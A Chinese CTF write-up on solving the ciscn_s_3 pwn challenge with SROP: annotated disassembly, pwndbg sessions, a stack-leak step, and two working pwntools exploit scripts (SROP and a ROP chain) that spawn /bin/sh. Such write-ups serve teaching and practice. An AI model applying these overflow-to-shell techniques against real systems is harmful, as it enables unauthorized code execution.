SROP简单姿势学习-Ciscn_s_3

解题思路

安全机制检查

healer@healer-virtual-machine:~/Desktop/ciscn_s_3$ readelf -h ciscn_s_3 
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x4003e0
  Start of program headers:          64 (bytes into file)
  Start of section headers:          6632 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         31
  Section header string table index: 28
healer@healer-virtual-machine:~/Desktop/ciscn_s_3$ checksec ciscn_s_3 
[*] '/home/healer/Desktop/ciscn_s_3/ciscn_s_3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

漏洞锁定

.text:00000000004004D6 ; Attributes: bp-based frame
.text:00000000004004D6
.text:00000000004004D6                 public gadgets
.text:00000000004004D6 gadgets         proc near
.text:00000000004004D6                 push    rbp
.text:00000000004004D7                 mov     rbp, rsp
.text:00000000004004DA                 mov     rax, 0Fh     # 据老师讲解此处显式的汇编片段gadget,并且赋值为0x0F表示明示我们使用SROP攻击方式,可调用sys_rt_sigreturn函数
.text:00000000004004E1                 retn
.text:00000000004004E1 gadgets         endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2                 mov     rax, 3Bh     # 此处可用于调用sys_execve函数
.text:00000000004004E9                 retn
.text:00000000004004E9 ; ---------------------------------------------------------------------------
.text:00000000004004EA                 db 90h
.text:00000000004004EB ; ---------------------------------------------------------------------------
.text:00000000004004EB                 pop     rbp
.text:00000000004004EC                 retn
.text:00000000004004ED
.text:00000000004004ED ; =============== S U B R O U T I N E =======================================
.text:00000000004004ED
.text:00000000004004ED ; Attributes: bp-based frame
.text:00000000004004ED
.text:00000000004004ED                 public vuln
.text:00000000004004ED vuln            proc near               ; CODE XREF: main+14p
.text:00000000004004ED
.text:00000000004004ED var_10          = byte ptr -10h
.text:00000000004004ED
.text:00000000004004ED                 push    rbp
.text:00000000004004EE                 mov     rbp, rsp
.text:00000000004004F1                 xor     rax, rax   # 此处将rax置为0,结合下方实际使用syscall,判定此处调用sys_read函数
.text:00000000004004F4                 mov     edx, 400h  # 设置edx为0x400,判断此处为读入字节数(read函数参数三)
.text:00000000004004F9                 lea     rsi, [rsp+var_10]   # 指向栈中的缓冲区,栈顶减0x10的位置(read函数参数二)
.text:00000000004004FE                 mov     rdi, rax   # 将rdi设置为rax,即0,在read函数中指代标准输入流(read函数参数一)
.text:0000000000400501                 syscall
.text:0000000000400503                 mov     rax, 1     # 此处将rax置为1,结合syscall调用,实际执行sys_write函数
.text:000000000040050A                 mov     edx, 30h   # 设置edx为0x30,即写出的字节数(write函数参数三)
.text:000000000040050F                 lea     rsi, [rsp+var_10]  # 指向栈中的缓冲区,栈顶减0x10的位置(write函数参数二)
.text:0000000000400514                 mov     rdi, rax   # 设置rdi为rax,即1,在write函数中指代标输出流(write函数参数一)
.text:0000000000400517                 syscall
.text:0000000000400519                 retn
.text:0000000000400519 vuln            endp ; sp-analysis failed
.text:0000000000400519
.text:0000000000400519 ; ---------------------------------------------------------------------------
.text:000000000040051A                 db 90h
.text:000000000040051B ; ---------------------------------------------------------------------------
.text:000000000040051B                 pop     rbp
.text:000000000040051C                 retn
.text:000000000040051D

基本利用方法

基础知识参考

64位:

传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器
调用号:sys_read 的调用号 为  0 ,sys_write 的调用号 为 1  ,stub_execve 的调用号 为 59, stub_rt_sigreturn 的调用号 为 15
调用方式: 使用 syscall 进行系统调用

初步分析上面的函数通过执行read函数读入0x400字节,再通过write函数从同一位置写出0x30个字节,调试发现:

pwndbg> 
0x0000000000400501 in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x0
 RDX  0x400
*RDI  0x0
 RSI  0x7fffffffdcf0 —▸ 0x7fffffffdd1e ◂— 0x4005400000
 R8   0x4005b0 (__libc_csu_fini) ◂— ret    
 R9   0x7ffff7de7af0 (_dl_fini) ◂— push   rbp
 R10  0x846
 R11  0x7ffff7a2d750 (__libc_start_main) ◂— push   r14
 R12  0x4003e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffde00 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdd00 —▸ 0x7fffffffdd20 —▸ 0x400540 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdd00 —▸ 0x7fffffffdd20 —▸ 0x400540 (__libc_csu_init) ◂— push   r15
*RIP  0x400501 (vuln+20) ◂— syscall 
──────────────────────────────────────────[ DISASM ]──────────────────────────────────────────
   0x4004ee <vuln+1>     mov    rbp, rsp
   0x4004f1 <vuln+4>     xor    rax, rax
   0x4004f4 <vuln+7>     mov    edx, 0x400
   0x4004f9 <vuln+12>    lea    rsi, [rsp - 0x10]
   0x4004fe <vuln+17>    mov    rdi, rax
 ► 0x400501 <vuln+20>    syscall  <SYS_read>
        fd: 0x0
        buf: 0x7fffffffdcf0 —▸ 0x7fffffffdd1e ◂— 0x4005400000        # 缓冲区所指向的地址视rsp-0x10的位置
        nbytes: 0x400
   0x400503 <vuln+22>    mov    rax, 1
   0x40050a <vuln+29>    mov    edx, 0x30
   0x40050f <vuln+34>    lea    rsi, [rsp - 0x10]
   0x400514 <vuln+39>    mov    rdi, rax
   0x400517 <vuln+42>    syscall 
──────────────────────────────────────────[ STACK ]───────────────────────────────────────────
00:0000│ rbp rsp  0x7fffffffdd00 —▸ 0x7fffffffdd20 —▸ 0x400540 (__libc_csu_init) ◂— push   r15     # 但此时的rbp与rsp是同一个地址,并且继续调试会发现rbp与rsp所在位置是返回地址
01:0008│          0x7fffffffdd08 —▸ 0x400536 (main+25) ◂— nop    
02:0010│          0x7fffffffdd10 —▸ 0x7fffffffde08 —▸ 0x7fffffffe1b8 ◂— '/home/healer/Desktop/ciscn_s_3/ciscn_s_3'
03:0018│          0x7fffffffdd18 ◂— 0x100000000
04:0020│          0x7fffffffdd20 —▸ 0x400540 (__libc_csu_init) ◂— push   r15
05:0028│          0x7fffffffdd28 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov    edi, eax
06:0030│          0x7fffffffdd30 ◂— 0x1
07:0038│          0x7fffffffdd38 —▸ 0x7fffffffde08 —▸ 0x7fffffffe1b8 ◂— '/home/healer/Desktop/ciscn_s_3/ciscn_s_3'
────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────
 ► f 0           400501 vuln+20
   f 1           400536 main+25
   f 2     7ffff7a2d840 __libc_start_main+240
──────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 
pwndbg> x/20xg 0x7fffffffdcf0
0x7fffffffdcf0:	0x00007fffffffdd1e	0x0000000000000000      # 可以发现写出的0x30个字节恰好可以写到0x7fffffffdd10处,此处存储的地址为0x00007fffffffde08
0x7fffffffdd00:	0x00007fffffffdd20	0x0000000000400536      # 且0x7fffffffdd00处存放的是函数的返回值,并且可写入的字节数为0x400远大于此处
0x7fffffffdd10:	0x00007fffffffde08	0x0000000100000000
0x7fffffffdd20:	0x0000000000400540	0x00007ffff7a2d840

所以可以构造第一步的payload,通过控制返回地址使得函数执行完第一遍之后还能够继续执行
payload = "a"*0x10+p64(vuln)

pwndbg> 
0x0000000000400517 in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 RAX  0x1
 RBX  0x0
 RCX  0x400503 (vuln+22) ◂— mov    rax, 1
 RDX  0x30
*RDI  0x1
 RSI  0x7fffffffdd50 ◂— 0x6161616161616161 ('aaaaaaaa')
 R8   0x4005b0 (__libc_csu_fini) ◂— ret    
 R9   0x7ffff7de7af0 (_dl_fini) ◂— push   rbp
 R10  0x846
 R11  0x346
 R12  0x4003e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffde60 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdd60 —▸ 0x4004ed (vuln) ◂— push   rbp
 RSP  0x7fffffffdd60 —▸ 0x4004ed (vuln) ◂— push   rbp
*RIP  0x400517 (vuln+42) ◂— syscall 
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
   0x400503 <vuln+22>    mov    rax, 1
   0x40050a <vuln+29>    mov    edx, 0x30
   0x40050f <vuln+34>    lea    rsi, [rsp - 0x10]
   0x400514 <vuln+39>    mov    rdi, rax
 ► 0x400517 <vuln+42>    syscall  <SYS_write>
        fd: 0x1
        buf: 0x7fffffffdd50 ◂— 0x6161616161616161 ('aaaaaaaa')
        n: 0x30
   0x400519 <vuln+44>    ret    
 
   0x40051a <vuln+45>    nop    
   0x40051b <vuln+46>    pop    rbp
   0x40051c <vuln+47>    ret    
 
   0x40051d <main>       push   rbp
   0x40051e <main+1>     mov    rbp, rsp
─────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ rbp rsp  0x7fffffffdd60 —▸ 0x4004ed (vuln) ◂— push   rbp
01:0008│          0x7fffffffdd68 —▸ 0x400536 (main+25) ◂— nop    
02:0010│          0x7fffffffdd70 —▸ 0x7fffffffde68 —▸ 0x7fffffffe202 ◂— './ciscn_s_3'
03:0018│          0x7fffffffdd78 ◂— 0x100000000
04:0020│          0x7fffffffdd80 —▸ 0x400540 (__libc_csu_init) ◂— push   r15
05:0028│          0x7fffffffdd88 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov    edi, eax
06:0030│          0x7fffffffdd90 ◂— 0x1
07:0038│          0x7fffffffdd98 —▸ 0x7fffffffde68 —▸ 0x7fffffffe202 ◂— './ciscn_s_3'
───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
 ► f 0           400517 vuln+42
───────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/10xg 0x7fffffffdd50
0x7fffffffdd50:	0x6161616161616161	0x6161616161616161
0x7fffffffdd60:	0x00000000004004ed	0x0000000000400536
0x7fffffffdd70:	0x00007fffffffde68	0x0000000100000000

通过上面的方法将函数的返回地址劫持到漏洞函数开始的位置(忽略和之前的地址不同的问题,相对位置是一样的)

借助上面的Sys_write功能我们将栈中的地址0x00007fffffffde68泄漏了出来,由偏移量固定可计算得到栈中数据写入的起始地址,偏移量为0x118

再次借助Sys_read函数功能将第二步的payload写入栈中
payload = b"/bin/sh\x00"*0x2 + p64(gadget) + p64(syscall) + bytes(frame)

使用上面的控制rax的值为0x0F的gadget作为返回地址,将“/bin/sh”写在已知的缓冲区开始的位置,执行完设置rax为0x0F之后,执行syscall函数的,此时触发执行stub_rt_sigreturn函数,此函数执行所需要的frame也已经构造完毕了,在紧接着的返回地址处存放,以此向设置好了所有执行Sys_execve函数的所有尝参数,通过构造SROP方式字节调用Sys_execve函数,拿到shell

攻击脚本

from pwn import *

context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']
context(arch = "amd64", os = 'linux')

# io = remote("111.200.241.244",49653)

io = process("./ciscn_s_3")
elf = ELF("./ciscn_s_3")

syscall = 0x400517
gadget = 0x4004DA
vuln = 0x4004ED

gdb.attach(io,"b *main")

io.send(b"a"*0x10+p64(vuln))
io.recv(0x20)
# print()
stack = u64(io.recv(6).ljust(8,b'\x00')) -0x118
print("stack -> " + hex(stack))

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = stack
frame.rip = syscall
frame.rsi = 0

payload = b"/bin/sh\x00"*0x2 + p64(gadget) + p64(syscall) + bytes(frame)
io.send(payload)
io.interactive()

参考大佬的ROP链构造方法

from pwn import *

io=process('pwn')
main=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdxr13_call=0x0400580 
sys=0x00400517

pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))

pl2='/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x50)+p64(0)*3
pl2+=p64(mov_rdxr13_call)+p64(execv)
pl2+=p64(pop_rdi)+p64(sh)+p64(sys)
io.send(pl2)

io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值